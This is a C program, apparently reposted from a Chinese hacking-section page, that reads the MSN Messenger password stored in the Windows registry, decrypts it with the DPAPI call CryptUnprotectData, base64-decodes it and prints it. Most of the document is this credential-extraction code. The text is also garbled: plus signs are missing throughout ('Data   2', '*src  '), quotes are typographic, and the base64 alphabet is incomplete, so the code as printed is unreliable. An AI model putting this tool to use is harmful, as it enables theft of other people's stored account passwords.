/* MSNMessenger的口令是经过DPAPI加密后保存在注册表中的
* 这个程序演示解码过程
* tombkeeper[0x40]nsfocus[0x2e]com
* tombkeeper[0x40]xfocus[0x2e]net
* 2004.08.11
*/ #include <Windows.h>  #pragma comment(lib, "Advapi32.lib")
#define FCHK(a)     if (!(a)) {printf(#a " failed\n"); return 0;}
typedef struct _CRYPTOAPI_BLOB {
    DWORD cbData;
    BYTE* pbData;
} DATA_BLOB;
typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
    DWORD cbSize;
    DWORD dwPromptFlags;
    HWND hwndApp;
    LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT, *PCRYPTPROTECT_PROMPTSTRUCT;
typedef BOOL (WINAPI *PCryptUnprotectData)(
    DATA_BLOB* pDataIn,
    LPWSTR* ppszDataDescr,
    DATA_BLOB* pOptionalEntropy,
    PVOID pvReserved,
    CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
    DWORD dwFlags,
    DATA_BLOB* pDataOut
);
PCryptUnprotectData CryptUnprotectData = NULL;  int main(void)
{
    int ret;
    HMODULE hNtdll;
    HKEY hKey;
    DWORD dwType;
    char Data[0x100] = {0};
    DWORD dwSize;
    DATA_BLOB DataIn;
    DATA_BLOB DataOut;
    ret = RegOpenKeyEx
    (
        HKEY_CURRENT_USER,
        "Software\\Microsoft\\MSNMessenger",
        0,
        KEY_READ,
        &hKey
    );
    if( ret != ERROR_SUCCESS ) return 1;
    ret = RegQueryValueEx
    (
        hKey,
        "assword.NET Messenger Service",
        NULL,
        &dwType,
        Data,
        &dwSize
    );
    if( ret != ERROR_SUCCESS ) return 1;
    FCHK ((hNtdll = LoadLibrary ("Crypt32.dll")) != NULL);
    FCHK ((CryptUnprotectData = (PCryptUnprotectData)
           GetProcAddress (hNtdll, "CryptUnprotectData")) != NULL);
    DataIn.pbData = Data   2;   //口令密文从第二位开始
    DataIn.cbData = dwSize-2;
    CryptUnprotectData
    (
        &DataIn,
        NULL,
        NULL,
        NULL,
        NULL,
        1,
        &DataOut
    );
    base64_decode (DataOut.pbData, Data, strlen(DataOut.pbData));
    printf ( "MSN Password: %s\n", Data);
    return 0;
}
//copied from GNU libc - libc/resolv/base64.c
int base64_decode (char const *src, char *target, size_t targsize)
{
    static const char Base64[] =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /";
    static const char Pad64 = ’=’;
    int tarindex, state, ch;
    char *pos;
    state = 0;
    tarindex = 0;
    while ((ch = *src  ) != ’\0’)
    {
        if (isspace (ch))         /* Skip whitespace anywhere. */
            continue;
        if (ch == Pad64)
            break;
        pos = strchr (Base64, ch);
        if (pos == 0)             /* A non-base64 character. */
            return (-1);
        switch (state)
        {
            case 0:
            if (target)
            {
                if ((size_t) tarindex >= targsize)
                    return (-1);
                target[tarindex] = (pos - Base64) << 2;
            }
            state = 1;
            break;
            case 1:
            if (target)
            {
                if ((size_t) tarindex   1 >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64) >> 4;
                target[tarindex   1] = ((pos - Base64) & 0x0f) << 4;
            }
            tarindex  ;
            state = 2;
            break;
            case 2:
            if (target)
            {
                if ((size_t) tarindex   1 >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64) >> 2;
                target[tarindex   1] = ((pos - Base64) & 0x03) << 6;
            }
            tarindex  ;
            state = 3;
            break;
            case 3:
            if (target)
            {
                if ((size_t) tarindex >= targsize)
                    return (-1);
                target[tarindex] |= (pos - Base64);
            }
            tarindex  ;
            state = 0;
            break;
            default:
            abort ();
        }
    }
  /*
   * We are done decoding Base-64 chars.  Let’s see if we ended
   * on a byte boundary, and/or with erroneous trailing characters.
   */
    if (ch == Pad64)
    {                           /* We got a pad char. */
        ch = *src  ;              /* Skip it, get next. */
        switch (state)
        {
            case 0:         /* Invalid = in first position */
            case 1:         /* Invalid = in second position */
                return (-1);
            case 2:         /* Valid, means one byte of info */
             /* Skip any number of spaces. */
            for ((void) NULL; ch != ’\0’; ch = *src  )
                if (!isspace (ch))
                    break;
             /* Make sure there is another trailing = sign. */
            if (ch != Pad64)
                return (-1);
            ch = *src  ;          /* Skip the = */
            /* Fall through to "single trailing =" case. */
            /* FALLTHROUGH */
            case 3:         /* Valid, means two bytes of info */
            /*
             * We know this char is an =.  Is there anything but
             * whitespace after it?
            */
            for ((void) NULL; ch != ’\0’; ch = *src  )
                if (!isspace (ch))
                    return (-1);
            /*
             * Now make sure for cases 2 and 3 that the "extra"
             * bits that slopped past the last full byte were
             * zeros.  If we don’t check them, they become a
             * subliminal channel.
             */
            if (target && target[tarindex] != 0)
                return (-1);
        }
    }
    else
    {
        /*
         * We ended by seeing the end of the string.  Make sure we
         * have no partial bytes lying around.
         */
        if (state != 0)
            return (-1);
    }
    return (tarindex);
}

来源：https://www.jb51.net/hack/5068.html
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！